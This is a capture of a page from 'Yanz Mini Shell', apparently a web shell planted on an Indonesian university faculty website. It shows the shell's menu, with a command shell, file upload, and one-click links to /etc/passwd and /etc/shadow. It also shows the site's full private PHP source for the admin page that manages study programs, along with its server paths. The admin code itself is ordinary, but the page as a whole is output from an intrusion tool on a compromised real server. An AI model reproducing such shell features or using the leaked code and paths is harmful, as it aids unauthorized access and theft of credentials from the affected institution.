Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // admin/program-studi.php — Kelola konten lengkap Program Studi (Point 4) require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/image_helper.php'; require_once __DIR__ . '/../includes/auth.php'; require_once 'includes/csrf.php'; require_once 'includes/icon-picker.php'; requireSuperAdmin(); $useTinyMCE = true; $useIconPicker = true; $page_title = "Kelola Program Studi"; $editing = null; $error = ''; // === Hapus Prodi === if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['delete'])) { $delId = (int)$_GET['delete']; if (!isset($_GET['token']) || !hash_equals($_SESSION['csrf_token'] ?? '', $_GET['token'])) { $_SESSION['flash'] = ['message' => 'Token tidak valid, silakan coba lagi.', 'type' => 'error']; header("Location: program-studi.php"); exit; } $stmt = $conn->prepare("SELECT nama, jenjang, icon_gambar, sertifikat_akreditasi FROM program_studi WHERE id = ?"); $stmt->bind_param('i', $delId); $stmt->execute(); $row = $stmt->get_result()->fetch_assoc(); $stmt->close(); if (!$row) { $_SESSION['flash'] = ['message' => 'Program studi tidak ditemukan (mungkin sudah dihapus).', 'type' => 'error']; header("Location: program-studi.php"); exit; } // Cek dulu apakah masih ada dosen yang terhubung ke prodi ini — supaya tidak // ada dosen "nyantol" ke prodi yang sudah tidak ada $cek = $conn->prepare("SELECT COUNT(*) AS n FROM dosen WHERE prodi_id = ?" . softDeleteFilter($conn, 'dosen')); $cek->bind_param('i', $delId); $cek->execute(); $jumlahDosen = (int)($cek->get_result()->fetch_assoc()['n'] ?? 0); $cek->close(); if ($jumlahDosen > 0 && empty($_GET['force'])) { $_SESSION['flash'] = [ 'type' => 'error', 'message' => "Tidak bisa dihapus — masih ada {$jumlahDosen} dosen yang terhubung ke prodi \"{$row['nama']}\". " . "Pindahkan dosen tersebut ke prodi lain dulu di menu Kelola Dosen, atau klik tombol \"Hapus Paksa\" " . "kalau tetap mau lanjut (dosennya TIDAK ikut terhapus, cuma jadi tanpa prodi)." ]; header("Location: program-studi.php"); exit; } if (softDelete($conn, 'program_studi', $delId)) { // Kalau hapus paksa & masih ada dosen terhubung, lepas ikatannya (dosen tetap ada, bukan ikut terhapus) if ($jumlahDosen > 0) { $lepas = $conn->prepare("UPDATE dosen SET prodi_id = NULL WHERE prodi_id = ?"); $lepas->bind_param('i', $delId); $lepas->execute(); $lepas->close(); } // Bersihkan file gambar yang menempel supaya tidak jadi sampah di server if (!empty($row['icon_gambar'])) hapusGambar($row['icon_gambar'], __DIR__ . '/../assets/images/icon-prodi'); if (!empty($row['sertifikat_akreditasi'])) hapusGambar($row['sertifikat_akreditasi'], __DIR__ . '/../assets/images/akreditasi'); logActivity('delete_program_studi', 'program_studi', $delId, "Hapus prodi: {$row['jenjang']} {$row['nama']}"); $_SESSION['flash'] = ['type' => 'success', 'message' => "Program Studi \"{$row['nama']}\" berhasil dihapus."]; } else { $_SESSION['flash'] = ['type' => 'error', 'message' => 'Gagal menghapus program studi.']; } header("Location: program-studi.php"); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { validateCSRFToken($_POST['csrf_token']); $action = $_POST['action'] ?? 'save'; $id = (int)($_POST['id'] ?? 0); if ($action === 'save') { $slug = trim($_POST['slug'] ?? ''); $nama = trim($_POST['nama'] ?? ''); $jenjang = trim($_POST['jenjang'] ?? 'S1'); $icon = trim($_POST['icon'] ?? 'fas fa-flask'); $akreditasi = trim($_POST['akreditasi'] ?? ''); $lembaga_akreditasi = trim($_POST['lembaga_akreditasi'] ?? '') ?: 'LAMSAMA'; $sk_akreditasi = trim($_POST['sk_akreditasi'] ?? ''); $akreditasi_berlaku_sampai = trim($_POST['akreditasi_berlaku_sampai'] ?? '') ?: null; $gelar_lulusan = trim($_POST['gelar_lulusan'] ?? ''); $ketua_prodi = trim($_POST['ketua_prodi'] ?? ''); $durasi_studi = trim($_POST['durasi_studi'] ?? ''); $total_sks = trim($_POST['total_sks'] ?? ''); $deskripsi_singkat = trim($_POST['deskripsi_singkat'] ?? ''); $visi = trim($_POST['visi'] ?? ''); $misi = trim($_POST['misi'] ?? ''); $profil_lulusan = trim($_POST['profil_lulusan'] ?? ''); $kompetensi = trim($_POST['kompetensi'] ?? ''); $kurikulum = $_POST['kurikulum'] ?? ''; $prospek_karir = trim($_POST['prospek_karir'] ?? ''); $fasilitas_lab = trim($_POST['fasilitas_lab'] ?? ''); $sort_order = (int)($_POST['sort_order'] ?? 0); $is_active = isset($_POST['is_active']) ? 1 : 0; // Icon Gambar (opsional — kalau diisi, dipakai MENGGANTI icon Font Awesome di header prodi) $icon_gambar = ''; if ($id > 0) { $ig = $conn->prepare("SELECT icon_gambar FROM program_studi WHERE id = ?"); $ig->bind_param('i', $id); $ig->execute(); $icon_gambar = $ig->get_result()->fetch_assoc()['icon_gambar'] ?? ''; } if (!empty($_FILES['icon_gambar']['name'])) { $upicon = uploadGambar($_FILES['icon_gambar'], __DIR__ . '/../assets/images/icon-prodi', 400); if ($upicon['success']) { if (!empty($icon_gambar)) { hapusGambar($icon_gambar, __DIR__ . '/../assets/images/icon-prodi'); } $icon_gambar = $upicon['filename']; } else { $error = $upicon['error']; } } elseif (!empty($_POST['hapus_icon_gambar'])) { if (!empty($icon_gambar)) { hapusGambar($icon_gambar, __DIR__ . '/../assets/images/icon-prodi'); } $icon_gambar = ''; } // Sertifikat akreditasi (GAMBAR — ditampilkan langsung di halaman, bukan link unduh PDF) $sertifikat_akreditasi = ''; if ($id > 0) { $sf = $conn->prepare("SELECT sertifikat_akreditasi FROM program_studi WHERE id = ?"); $sf->bind_param('i', $id); $sf->execute(); $sertifikat_akreditasi = $sf->get_result()->fetch_assoc()['sertifikat_akreditasi'] ?? ''; } if (!empty($_FILES['sertifikat_akreditasi']['name'])) { $upcert = uploadGambar($_FILES['sertifikat_akreditasi'], __DIR__ . '/../assets/images/akreditasi', 1600); if ($upcert['success']) { if (!empty($sertifikat_akreditasi)) { hapusGambar($sertifikat_akreditasi, __DIR__ . '/../assets/images/akreditasi'); } $sertifikat_akreditasi = $upcert['filename']; } else { $error = $upcert['error']; } } if (strlen($nama) < 3) $error = $error ?: 'Nama prodi minimal 3 karakter'; elseif (!preg_match('/^[a-z0-9\-]+$/', $slug)) $error = $error ?: 'Slug hanya huruf kecil/angka/strip'; elseif (empty($error)) { // Susun kolom & nilai secara dinamis (array) supaya jumlah tipe & parameter // di bind_param() selalu pasti cocok — tidak dihitung manual satu-satu. $cols = [ 'slug' => 's', 'nama' => 's', 'jenjang' => 's', 'icon' => 's', 'icon_gambar' => 's', 'akreditasi' => 's', 'lembaga_akreditasi' => 's', 'sk_akreditasi' => 's', 'akreditasi_berlaku_sampai' => 's', 'sertifikat_akreditasi' => 's', 'gelar_lulusan' => 's', 'ketua_prodi' => 's', 'durasi_studi' => 's', 'total_sks' => 's', 'deskripsi_singkat' => 's', 'visi' => 's', 'misi' => 's', 'profil_lulusan' => 's', 'kompetensi' => 's', 'kurikulum' => 's', 'prospek_karir' => 's', 'fasilitas_lab' => 's', ]; $data = [ 'slug' => $slug, 'nama' => $nama, 'jenjang' => $jenjang, 'icon' => $icon, 'icon_gambar' => $icon_gambar, 'akreditasi' => $akreditasi, 'lembaga_akreditasi' => $lembaga_akreditasi, 'sk_akreditasi' => $sk_akreditasi, 'akreditasi_berlaku_sampai' => $akreditasi_berlaku_sampai, 'sertifikat_akreditasi' => $sertifikat_akreditasi, 'gelar_lulusan' => $gelar_lulusan, 'ketua_prodi' => $ketua_prodi, 'durasi_studi' => $durasi_studi, 'total_sks' => $total_sks, 'deskripsi_singkat' => $deskripsi_singkat, 'visi' => $visi, 'misi' => $misi, 'profil_lulusan' => $profil_lulusan, 'kompetensi' => $kompetensi, 'kurikulum' => $kurikulum, 'prospek_karir' => $prospek_karir, 'fasilitas_lab' => $fasilitas_lab, ]; $cols['sort_order'] = 'i'; $data['sort_order'] = $sort_order; $cols['is_active'] = 'i'; $data['is_active'] = $is_active; $colNames = array_keys($cols); $types = implode('', array_values($cols)); $values = array_values($data); if ($id > 0) { $setSql = implode(', ', array_map(function ($c) { return "$c=?"; }, $colNames)); $stmt = $conn->prepare("UPDATE program_studi SET $setSql WHERE id=?"); $types .= 'i'; $values[] = $id; $stmt->bind_param($types, ...$values); } else { $colSql = implode(', ', $colNames); $qMarks = implode(', ', array_fill(0, count($colNames), '?')); $stmt = $conn->prepare("INSERT INTO program_studi ($colSql) VALUES ($qMarks)"); $stmt->bind_param($types, ...$values); } if ($stmt->execute()) { logActivity($id > 0 ? 'update' : 'add', 'program_studi', $id ?: $conn->insert_id, "Prodi: $nama"); $_SESSION['flash'] = ['message' => 'Program Studi tersimpan!', 'type' => 'success']; header('Location: program-studi.php'); exit; } $error = 'Gagal menyimpan: ' . $stmt->error; } } } if (!empty($_GET['edit'])) { $eid = (int)$_GET['edit']; $stmt = $conn->prepare("SELECT * FROM program_studi WHERE id = ?"); $stmt->bind_param('i', $eid); $stmt->execute(); $editing = $stmt->get_result()->fetch_assoc(); } $items = $conn->query("SELECT * FROM program_studi ORDER BY sort_order ASC, nama ASC"); $csrf = generateCSRFToken(); ob_start(); ?> <div class="max-w-6xl mx-auto"> <h1 class="text-3xl font-bold text-[#0a2b3e] mb-2"><i class="fas fa-flask text-blue-500"></i> Program Studi</h1> <p class="text-gray-500 mb-6">Kelola konten lengkap tiap prodi — visi, misi, kurikulum, profil lulusan, prospek karir. Tampil di halaman <code>pages/prodi.php?slug=...</code></p> <?php if ($error): ?><div class="bg-red-100 text-red-700 p-4 rounded-2xl mb-4"><?= e($error) ?></div><?php endif; ?> <?php if ($editing || isset($_GET['new'])): ?> <div class="bg-white rounded-3xl shadow p-6 mb-6"> <h2 class="text-xl font-bold mb-4"><?= $editing ? 'Edit Prodi: ' . e($editing['nama']) : 'Tambah Program Studi Baru' ?></h2> <div class="bg-blue-50 border-l-4 border-blue-400 p-4 rounded-2xl mb-5 text-sm text-blue-900"> <i class="fas fa-info-circle"></i> <strong>Tips:</strong> Field <em>Visi, Misi, Profil Lulusan, Kompetensi, Prospek Karir, Fasilitas Lab</em> boleh dikosongkan dan diisi nanti — halaman publik akan tampil sebagian section yang sudah diisi saja. </div> <form method="POST" enctype="multipart/form-data" class="space-y-4"> <input type="hidden" name="csrf_token" value="<?= e($csrf) ?>"> <input type="hidden" name="id" value="<?= $editing['id'] ?? 0 ?>"> <!-- Identitas --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-id-card"></i> Identitas Prodi</h3> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Nama Prodi <span class="text-red-500">*</span></label> <input type="text" name="nama" id="nama_prodi_input" required value="<?= e($editing['nama'] ?? '') ?>" placeholder="Biologi" oninput="autoSlugFromNama(this.value)" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Slug (URL) <span class="text-red-500">*</span></label> <input type="text" name="slug" id="slug_input" required pattern="[a-z0-9\-]+" value="<?= e($editing['slug'] ?? '') ?>" placeholder="biologi" data-manual="<?= !empty($editing['slug']) ? '1' : '0' ?>" oninput="this.dataset.manual = '1';" class="w-full px-4 py-3 border rounded-xl font-mono"> <p class="text-xs text-gray-500 mt-1"> Terisi otomatis dari Nama Prodi — ini yang nanti muncul di alamat halaman (<code>pages/prodi.php?slug=<span id="slug_preview"><?= e($editing['slug'] ?? '...') ?></span></code>). Kalau mau ganti manual, boleh: huruf kecil, angka, dan tanda "-" saja, tanpa spasi (mis. <code>biologi</code>, bukan <code>Biologi</code> atau <code>program studi biologi</code>). </p> </div> <div> <label class="block text-sm font-semibold mb-1">Jenjang</label> <input type="text" name="jenjang" maxlength="10" value="<?= e($editing['jenjang'] ?? 'S1') ?>" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Icon (Font Awesome)</label> <?php iconPickerWidget('icon', $editing['icon'] ?? 'fas fa-flask'); ?> <p class="text-xs text-gray-500 mt-1">Dipakai kalau tidak ada Gambar Icon custom di bawah.</p> </div> <div> <label class="block text-sm font-semibold mb-1">Gambar Icon (opsional, menggantikan Icon di atas)</label> <?php if (!empty($editing['icon_gambar'])): ?> <div class="mb-2 flex items-center gap-3"> <img src="<?= $base_url ?>/assets/images/icon-prodi/<?= e($editing['icon_gambar']) ?>" alt="Icon saat ini" class="rounded-xl border" style="width:64px; height:64px; object-fit:cover;"> <label class="flex items-center gap-2 text-xs text-red-600 cursor-pointer"> <input type="checkbox" name="hapus_icon_gambar" value="1"> Hapus gambar ini, pakai Icon Font Awesome lagi </label> </div> <?php endif; ?> <input type="file" name="icon_gambar" accept="image/jpeg,image/png,image/webp" class="w-full px-4 py-3 border rounded-xl"> <p class="text-xs text-gray-500 mt-1">Upload gambar/logo persegi (JPG/PNG/WebP) untuk kotak icon di header halaman prodi. Kosongkan kalau tidak ingin mengganti.</p> </div> <div> <label class="block text-sm font-semibold mb-1">Akreditasi</label> <input type="text" name="akreditasi" maxlength="30" value="<?= e($editing['akreditasi'] ?? '') ?>" placeholder="Baik Sekali / Unggul" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Nama Lembaga Akreditasi</label> <input type="text" name="lembaga_akreditasi" maxlength="50" value="<?= e($editing['lembaga_akreditasi'] ?? 'LAMSAMA') ?>" placeholder="LAMSAMA" class="w-full px-4 py-3 border rounded-xl"> <p class="text-xs text-gray-500 mt-1">Tampil dalam kurung di sebelah badge akreditasi, mis. "Akreditasi Baik Sekali (LAMSAMA)"</p> </div> <div> <label class="block text-sm font-semibold mb-1">Gelar Lulusan</label> <input type="text" name="gelar_lulusan" value="<?= e($editing['gelar_lulusan'] ?? '') ?>" placeholder="S.Si. (Sarjana Sains)" class="w-full px-4 py-3 border rounded-xl"> </div> </div> <div class="mt-4 grid grid-cols-1 md:grid-cols-3 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Ketua Program Studi</label> <input type="text" name="ketua_prodi" value="<?= e($editing['ketua_prodi'] ?? '') ?>" placeholder="Dr. Nama Ketua, S.Si., M.Si." class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Durasi Studi</label> <input type="text" name="durasi_studi" maxlength="100" value="<?= e($editing['durasi_studi'] ?? '4 Tahun / 8 Semester') ?>" placeholder="4 Tahun / 8 Semester" class="w-full px-4 py-3 border rounded-xl"> </div> <div> <label class="block text-sm font-semibold mb-1">Total SKS</label> <input type="text" name="total_sks" maxlength="50" value="<?= e($editing['total_sks'] ?? '±144 SKS') ?>" placeholder="±144 SKS" class="w-full px-4 py-3 border rounded-xl"> </div> </div> </div> <!-- Akreditasi LAMSAMA --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-certificate text-amber-500"></i> Detail Akreditasi LAMSAMA</h3> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Nomor SK Akreditasi</label> <input type="text" name="sk_akreditasi" value="<?= e($editing['sk_akreditasi'] ?? '') ?>" placeholder="025/SK/LAMSAMA/Akred/S/XII/2022" class="w-full px-4 py-3 border rounded-xl font-mono text-sm"> </div> <div> <label class="block text-sm font-semibold mb-1">Berlaku Sampai</label> <input type="date" name="akreditasi_berlaku_sampai" value="<?= e($editing['akreditasi_berlaku_sampai'] ?? '') ?>" class="w-full px-4 py-3 border rounded-xl"> </div> </div> <div class="mt-4"> <label class="block text-sm font-semibold mb-1">Sertifikat Akreditasi (Gambar)</label> <?php if (!empty($editing['sertifikat_akreditasi'])): ?> <div class="mb-2"> <img src="<?= $base_url ?>/assets/images/akreditasi/<?= e($editing['sertifikat_akreditasi']) ?>" alt="Sertifikat saat ini" class="rounded-xl border" style="max-width:240px; max-height:180px; object-fit:contain;"> <p class="text-xs text-gray-500 mt-1">Sertifikat saat ini — akan ditampilkan langsung di halaman publik (bukan link unduh).</p> </div> <?php endif; ?> <input type="file" name="sertifikat_akreditasi" accept="image/jpeg,image/png,image/webp" class="w-full px-4 py-3 border rounded-xl"> <p class="text-xs text-gray-500 mt-1"> Upload <strong>gambar</strong> (JPG/PNG/WebP, maks 5MB) hasil scan/foto/screenshot sertifikat — <strong>bukan file PDF</strong>. Kalau sertifikat asli Anda berupa PDF, buka dulu lalu simpan/export halamannya sebagai gambar (atau screenshot) sebelum diupload di sini. Kosongkan kalau tidak ingin mengganti gambar yang sudah ada. </p> </div> </div> <!-- Deskripsi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-align-left"></i> Deskripsi</h3> <div> <label class="block text-sm font-semibold mb-1">Deskripsi Singkat (1-2 kalimat)</label> <textarea name="deskripsi_singkat" rows="2" class="w-full px-4 py-3 border rounded-xl"><?= e($editing['deskripsi_singkat'] ?? '') ?></textarea> </div> </div> <!-- Visi & Misi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-eye"></i> Visi & Misi Prodi</h3> <div> <label class="block text-sm font-semibold mb-1">Visi</label> <textarea name="visi" rows="3" class="w-full px-4 py-3 border rounded-xl"><?= e($editing['visi'] ?? '') ?></textarea> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Misi (pisah tiap poin dengan baris baru)</label> <textarea name="misi" rows="5" class="w-full px-4 py-3 border rounded-xl" placeholder="Menyelenggarakan pendidikan... Mengembangkan penelitian... Melaksanakan pengabdian..."><?= e($editing['misi'] ?? '') ?></textarea> </div> </div> <!-- Profil Lulusan & Kompetensi --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-user-graduate"></i> Profil Lulusan</h3> <div> <label class="block text-sm font-semibold mb-1">Profil Lulusan (pisah tiap profil dengan baris baru)</label> <textarea name="profil_lulusan" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Peneliti di bidang... Tenaga pengajar SMA/SMK... Quality control di industri..."><?= e($editing['profil_lulusan'] ?? '') ?></textarea> <p class="text-xs text-gray-500 mt-1">Posisi/peran yang bisa diisi alumni setelah lulus</p> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Kompetensi Lulusan</label> <textarea name="kompetensi" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Kemampuan analisis statistik Penguasaan instrumen laboratorium ..."><?= e($editing['kompetensi'] ?? '') ?></textarea> </div> </div> <!-- Kurikulum --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-book"></i> Kurikulum</h3> <label class="block text-sm font-semibold mb-1">Kurikulum (rich text — bisa pakai tabel per semester)</label> <textarea name="kurikulum" class="tinymce-editor" rows="12"><?= e($editing['kurikulum'] ?? '') ?></textarea> <p class="text-xs text-gray-500 mt-1">Editor di atas mendukung tabel — pakai untuk daftar mata kuliah per semester.</p> </div> <!-- Prospek + Fasilitas --> <div class="border-t pt-4"> <h3 class="font-semibold text-gray-700 mb-3"><i class="fas fa-briefcase"></i> Prospek Karir & Fasilitas</h3> <div> <label class="block text-sm font-semibold mb-1">Prospek Karir (pisah dengan baris baru)</label> <textarea name="prospek_karir" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Peneliti BRIN, LAPAN, lembaga penelitian Pengajar di sekolah menengah Analis di industri farmasi/pangan Konsultan lingkungan..."><?= e($editing['prospek_karir'] ?? '') ?></textarea> </div> <div class="mt-3"> <label class="block text-sm font-semibold mb-1">Fasilitas Laboratorium</label> <textarea name="fasilitas_lab" rows="4" class="w-full px-4 py-3 border rounded-xl" placeholder="Lab Mikrobiologi Lab Bioteknologi Lab Ekologi..."><?= e($editing['fasilitas_lab'] ?? '') ?></textarea> </div> </div> <!-- Settings --> <div class="border-t pt-4 grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-sm font-semibold mb-1">Urutan</label> <input type="number" name="sort_order" min="0" value="<?= (int)($editing['sort_order'] ?? 0) ?>" class="w-full px-4 py-3 border rounded-xl"> <p class="text-xs text-gray-500 mt-1">Angka kecil tampil lebih dulu di antara sesama prodi (mis. 1 tampil sebelum 2).</p> </div> <label class="flex items-center gap-3 cursor-pointer self-end pb-2"> <input type="checkbox" name="is_active" value="1" <?= !$editing || $editing['is_active'] ? 'checked' : '' ?> class="w-5 h-5"> <span class="text-sm">Tampilkan di publik</span> </label> </div> <div class="flex gap-2 pt-4 border-t"> <a href="program-studi.php" class="px-6 py-3 bg-gray-100 hover:bg-gray-200 rounded-xl">Batal</a> <button type="submit" name="action" value="save" class="flex-1 bg-blue-500 hover:bg-blue-600 text-white py-3 rounded-xl font-semibold"> <i class="fas fa-save"></i> <?= $editing ? 'Update Prodi' : 'Simpan Prodi Baru' ?> </button> </div> </form> </div> <?php else: ?> <div class="mb-6 flex justify-end"> <a href="?new=1" class="bg-blue-500 hover:bg-blue-600 text-white px-6 py-3 rounded-2xl font-medium"><i class="fas fa-plus"></i> Tambah Prodi Baru</a> </div> <?php endif; ?> <div class="bg-white rounded-3xl shadow p-6"> <h2 class="text-xl font-bold mb-4">Daftar Program Studi (<?= $items ? $items->num_rows : 0 ?>)</h2> <?php if (!$items || $items->num_rows === 0): ?> <div class="text-center py-12 text-gray-500"><div class="text-6xl mb-3">🧪</div><p>Belum ada Program Studi. Tambah dari tombol di atas.</p></div> <?php else: ?> <div class="space-y-3"> <?php while ($r = $items->fetch_assoc()): ?> <div class="flex items-center gap-4 p-4 border rounded-xl <?= !$r['is_active'] ? 'opacity-60 bg-gray-50' : '' ?>"> <div style="width:56px; height:56px; background:linear-gradient(135deg,#dbeafe,#bfdbfe); border-radius:14px; display:flex; align-items:center; justify-content:center; flex-shrink:0; overflow:hidden;"> <?php if (!empty($r['icon_gambar'])): ?> <img src="<?= $base_url ?>/assets/images/icon-prodi/<?= e($r['icon_gambar']) ?>" style="width:100%; height:100%; object-fit:cover;"> <?php else: ?> <i class="<?= e($r['icon'] ?? 'fas fa-flask') ?> text-2xl text-blue-600"></i> <?php endif; ?> </div> <div class="flex-1 min-w-0"> <div class="font-semibold text-lg"> <?= e($r['jenjang']) ?> <?= e($r['nama']) ?> <?php if ($r['akreditasi']): ?><span class="ml-2 text-xs px-2 py-0.5 rounded-full bg-amber-100 text-amber-700 font-bold">Akreditasi <?= e($r['akreditasi']) ?> (<?= e($r['lembaga_akreditasi'] ?: 'LAMSAMA') ?>)</span><?php endif; ?> <?php if (!empty($r['sertifikat_akreditasi'])): ?><span class="ml-1 text-xs px-2 py-0.5 rounded-full bg-green-100 text-green-700"><i class="fas fa-image"></i> Sertifikat ada</span><?php endif; ?> <?php if (!$r['is_active']): ?><span class="text-xs px-2 py-0.5 rounded-full bg-red-100 text-red-700">Nonaktif</span><?php endif; ?> </div> <div class="text-sm text-gray-600 mt-0.5"><?= e($r['gelar_lulusan'] ?? '') ?> · slug: <code class="text-xs"><?= e($r['slug']) ?></code></div> <div class="text-xs text-gray-400 mt-1"> <?php $filled = []; foreach (['visi','misi','profil_lulusan','kompetensi','kurikulum','prospek_karir','fasilitas_lab'] as $f) { if (!empty($r[$f])) $filled[] = $f; } echo 'Konten terisi: ' . count($filled) . '/7 section'; $cekDosen = $conn->prepare("SELECT COUNT(*) AS n FROM dosen WHERE prodi_id = ?" . softDeleteFilter($conn, 'dosen')); $cekDosen->bind_param('i', $r['id']); $cekDosen->execute(); $jmlDosenRow = (int)($cekDosen->get_result()->fetch_assoc()['n'] ?? 0); $cekDosen->close(); if ($jmlDosenRow > 0) echo ' · <i class="fas fa-user-tie"></i> ' . $jmlDosenRow . ' dosen terhubung'; ?> </div> </div> <a href="?edit=<?= (int)$r['id'] ?>" class="px-4 py-2 bg-amber-500 hover:bg-amber-600 text-white rounded-lg text-sm"><i class="fas fa-edit"></i> Edit</a> <a href="<?= $base_url ?>/pages/prodi.php?slug=<?= e($r['slug']) ?>" target="_blank" class="px-4 py-2 bg-gray-100 hover:bg-gray-200 rounded-lg text-sm"><i class="fas fa-external-link-alt"></i> Lihat</a> <?php $confirmMsg = $jmlDosenRow > 0 ? "Yakin hapus program studi "" . e($r['jenjang'] . ' ' . $r['nama']) . ""? Ada {$jmlDosenRow} dosen yang terhubung — mereka TIDAK ikut terhapus, tapi jadi tanpa prodi. Data lengkap prodi (visi, misi, kurikulum, dll) akan ikut terhapus." : "Yakin hapus program studi "" . e($r['jenjang'] . ' ' . $r['nama']) . ""? Data lengkap (visi, misi, kurikulum, dll) akan ikut terhapus."; ?> <a href="?delete=<?= (int)$r['id'] ?>&token=<?= generateCSRFToken() ?><?= $jmlDosenRow > 0 ? '&force=1' : '' ?>" onclick="return confirm('<?= $confirmMsg ?>');" class="px-4 py-2 bg-red-100 hover:bg-red-200 text-red-700 rounded-lg text-sm"><i class="fas fa-trash"></i> Hapus</a> </div> <?php endwhile; ?> </div> <?php endif; ?> </div> </div> <script> function autoSlugFromNama(namaValue) { var slugInput = document.getElementById('slug_input'); // Kalau slug sudah pernah diisi manual (termasuk saat mode Edit), jangan ditimpa otomatis if (slugInput.dataset.manual === '1') return; var slug = namaValue .toLowerCase() .trim() .replace(/[^a-z0-9\s-]/g, '') // buang karakter selain huruf/angka/spasi/strip .replace(/\s+/g, '-') // spasi jadi strip .replace(/-+/g, '-') // rapikan strip ganda .replace(/^-|-$/g, ''); // buang strip di awal/akhir slugInput.value = slug; var preview = document.getElementById('slug_preview'); if (preview) preview.textContent = slug || '...'; } document.getElementById('slug_input').addEventListener('input', function() { var preview = document.getElementById('slug_preview'); if (preview) preview.textContent = this.value || '...'; }); </script> <?php $content = ob_get_clean(); include 'includes/admin_layout.php'; ?>
Free Space : 56535834624 Byte